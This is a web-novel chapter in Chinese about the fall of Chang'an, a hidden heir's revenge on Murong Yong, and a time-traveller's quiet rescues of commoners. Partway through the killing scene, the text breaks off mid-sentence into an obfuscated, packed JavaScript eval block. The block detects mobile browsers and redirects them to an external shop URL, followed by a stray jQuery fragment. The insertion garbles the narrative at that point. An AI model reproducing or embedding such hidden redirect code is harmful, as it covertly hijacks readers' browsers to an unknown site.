几日后,姚刺史派去长安打探消息的探子快马加鞭地赶了回来。
人还没进府门,马蹄声已经传入府中。
“刺史大人!”探子翻身下马,一路小跑冲进正厅,单膝跪地时身上的尘土落了一地,“属下刚到长安城外就发现围军已撤,多方打探才得知,在属下抵达的前几日,长安城已经被攻破了。”
“那城里的城主和守军呢?”小公子原本看探子回来了就赶到廊下,听到这里再也按捺不住心中的焦灼,几步冲上前来抓住了探子的双臂拼命地摇着。
探子把头埋得更低:“守军全部战死。城主大人和城主夫人,在城破时自刎于殿前。城里的百……”
姚刺史听了身体晃了晃,险些栽倒,被站在一旁的萧将军一把扶住。
“城里的百姓怎么了?”小公子扶住探子的胳膊,指节按得发白。
探子咬紧牙关,终于将那句在路上反复掂量了无数遍的话说出了口:“传言说城里缺粮,百姓全被守军和城主他们吃光了。”说完他便跪伏在地,不敢抬头。
小公子听后整个人都僵住了,手指从探子臂上慢慢滑脱,身子往后退了一步又一步,直到脊背撞上柱子才停住。
“不!这不是真的,爹娘不会死的。”抬起头,眼眶里蓄满了泪水。
“大部分的百姓明明和我们一起逃出了长安!他们撒谎!我爹没有吃人!他把找到的最后一袋粮食都分给了百姓,自己忍饥挨饿了大半年,瘦得铠甲都挂不住,他们凭什么这样说他?凭什么!”嗓子都沙哑了,声音都劈叉了,最后几个字都哭得都断断续续的。
“舅舅……”小公子哭着看向姚刺史。
姚刺史接过递来的帕子,擦去脸上的泪水。
松开了萧将军搀扶的手,站直了身子,把目光落在庭院里那颗已经掉光了树叶的银杏树。
“别说了!你做什么决定,舅舅都支持你,你尽管去做。”说着姚刺史的眼泪又涌了出来,仰起头望着长安的方向。
可那方向除了几缕游云,什么也望不见。“我那可怜的妹妹,你怎么会比我先走了呢。”
而此时的骊山。
舒瑶站在洞口的平台上,望着山下那座被浓烟笼罩的长安城。
城墙上的旗帜换了,城门外那些密密麻麻的营帐开始陆续拔起,围军入城了。
舒瑶看着远处城墙上隐约有火光晃动,宫城方向飘来的烟比别处更浓更黑
云云站在她旁边,陪她看了很久:“城里那些人是不是全没了?”
舒瑶过了好一会儿才慢慢开口:“至少大部分百姓逃出来了……”
没有和历史上一样严重到人相食的地步,自己只是改不了历史的结局,但能让结局到来之前少死一些人,多活一些人。
也许这就是自己穿越到这个世界里唯一能做的事:自己不用改变历史,自己只需要在历史的夹缝里,给那些被历史碾过的人一条活路。
但长安城被攻破后,却如同遭受了诅咒一般,始终不曾真正平静。
短短十年间,城头的大旗虽然还是写着燕,但每一任新主还没来得及把龙椅坐热,就又被下一任给推翻了。
一日清晨,长安城再次被敌军团团围住。舒瑶站在洞口远远望了一眼,叹了口气便转身回了洞府。
围城的兵马不算多,围了没几日便破了城,骑兵举着火把涌入城门,街上又响起了熟悉的马蹄声和哭喊声。
但这次城里的百姓早就习惯了,十年里换了多少个皇帝他们数都数不清,家家户户都备着一个随时能拎起来跑路的包袱。
秋末,长子城。
攻城的战斗从破晓一直打到午后,城门被撞开的那一刻,城墙上的西燕旗帜被乱箭射断了绳索,坠落在燃烧的火把旁。
残兵从巷战中溃退入宫,又被从侧门涌入的燕军精骑一路追杀至殿前。
殿门被从里面死死顶住,攻城的士兵抬着撞木一下下地撞断了殿门的铁闩,碎裂的木屑和铁片随着殿门的坍塌轰然飞溅。
殿内空荡荡的,慕容永提着剑站在王座前,身边已没有一个侍卫。
他穿着那身华丽的锦袍,看着涌进来的士兵,手里的剑举了又放下,嘴唇抖动了半晌只吐出:“你们是谁的兵?”
但没有人回答他。
士兵们自动让开一条路。
一位青年将军从人群中走出来,他卸了头盔,那张被战火熏黑的脸上看不出什么表情。铠甲上全是别人的鲜血。
慕容永死死盯着面前这个浑身浴血的年轻人,忽然觉得他很像一个人。“你到底是谁?”
那青年将军抬起头,眼睛红得如同有火在燃烧:“在下姚毅。但我十年前姓苻。”
慕容永愣了半息,随后仰头大笑了起来,那笑声又尖又干,在空旷的大殿里来回荡好几圈才慢慢落下去。
他笑得眼角挤出了泪,笑得浑身铠甲哗啦啦响,笑完了才把目光重新落在姚毅身上:“你是苻坚的儿子?哈哈哈,苻坚那个老东西,当年在渭水败得落荒而逃,被我们困在长安城,我还以为他早就绝后了。”
“十年前围长安的时候,你也在。”姚毅没有等慕容永的回答,握剑的手往前一送。
剑尖穿透锦袍,穿透皮肤,穿透肋骨,一路直刺入心脏。
慕容永嘴角涌出一股鲜血。
低头看了看胸口那柄没至剑格的剑,又抬起头,用那双瞳孔渐渐涣散的眼睛看着姚毅,嘴角竟然还挂着一丝残留的笑:“当时破城时就察觉出不对……少了好些人,粮食虽然少,但也还够吃。原来是你们……早就悄悄逃出去了。苻坚那老东西,到死也死得不安分!”
他又笑了起来,那张被血污了的脸上竟有几分释然。
剑先落了地,接着整个身体向后倒去,倒在了那个没有沾过脏污的御座之上。
殿里很安静,只有血从剑尖滴落石砖的声音。
姚毅低着头站在慕容永的尸体前,手还握着剑柄。然后他慢慢松开剑柄往后退了一步,他没有去拔那柄剑。
就那样站在王座前,仰起头,看着
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17761513|207671||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
殿顶那根被烟火熏黑的横梁。
他还记得母亲的帕子擦在脸上是什么温度,父亲的背影是什么样子。
记得萧将军在城门口揽着他表弟的肩膀,对守城士兵说“这是我表弟,是个哑巴”。
做了十年的姚毅,从青州入军杀回长安,从长安一路杀到了长子城,直到今天这柄剑穿透仇人心脏,才终于可以开口说出那句话。
“父亲……母亲,孩儿终于给你们报仇了。”
他的眼泪砸在被血浸透的石砖缝里,将那片暗红色的缝隙洇成深色的印记。
殿外硝烟还未散尽,士兵群中几个人影走了出来。
萧将军走在最前面,他的铠甲上满是刀痕,脸上添了新伤,如今嘴角多了一道从颧骨划到下巴的旧疤。
十年征战,他带出去的弟兄有好几个没能走到今天,有人在潼关挡箭,有人在渭水断后,有人在行军路上病倒便再没起来。
但今天他们终于把最后一个仇人也杀了。
他从慕容永的尸体旁走过,走到姚毅身后站定。
身后那几个跟了十年的老兄弟,他们全都已经铠甲破旧,满脸风霜,头发更是比十年前白了大半,但此刻他们的眼睛里却是亮得灼人。
几个月后,长安城终于恢复了平静。
舒瑶如同往常一样背着草药下山,打算去西宁村的药铺找周郎中换些香烛。
刚走到村口,就发现村子里多了几张生面孔,几个身形精壮的汉子正坐在村口槐树下修理农具,动作有些生疏,但眼神里却带着一丝锐利。
药铺里,周郎中正给一个年轻妇人把脉。那妇人见有人进来便起身告辞,周郎中抬头看见是她,笑着朝院子里喊了一声:“师兄,你看谁来了!”
舒瑶顺着他的目光看向院子,正对上一双熟悉的眼睛,是萧将军。
他比当年苍老了许多,面庞上添了好几道伤疤,他身旁还站着几个同样退役的老弟兄,以及一个正在帮忙晒药材的青年。
“这位是……”那青年放下手中的药材看向她。
舒瑶把背篓放在石桌上,笑着说了句“我是住骊山上的猎户女儿”,目光却不由自主地在那人脸上多停了一瞬。
“姑娘你常来这里送药材?”姚毅礼貌地朝她点点头,又低下头继续整理晒匾里的草药。
“嗯,我经常来。你们是新搬来的?”
“嗯,仗打完了,我们也不想再打仗了。”那老兵把手里的箩筐搁在膝盖上,“本来想在长安城里住下来的,铺子都看好了,可萧哥说他要来西宁村。当初在青州他答应过一个人,说等仗打完了要亲自来这个村子看看,问他也不说是谁,反正他说要来,我们几个就跟着来了。横竖都是退役,住哪儿不是住。”
说完萧将军看了他一眼,那眼神里有感激也有无奈。
坐在药铺门槛上剥蒜的另一个老兵,头也没抬地接了一句:“他就这样,什么都听萧哥的,连买马都要跟萧哥挑一样的颜色。”众人被这句话逗笑了,院子里一时满是轻松的笑声。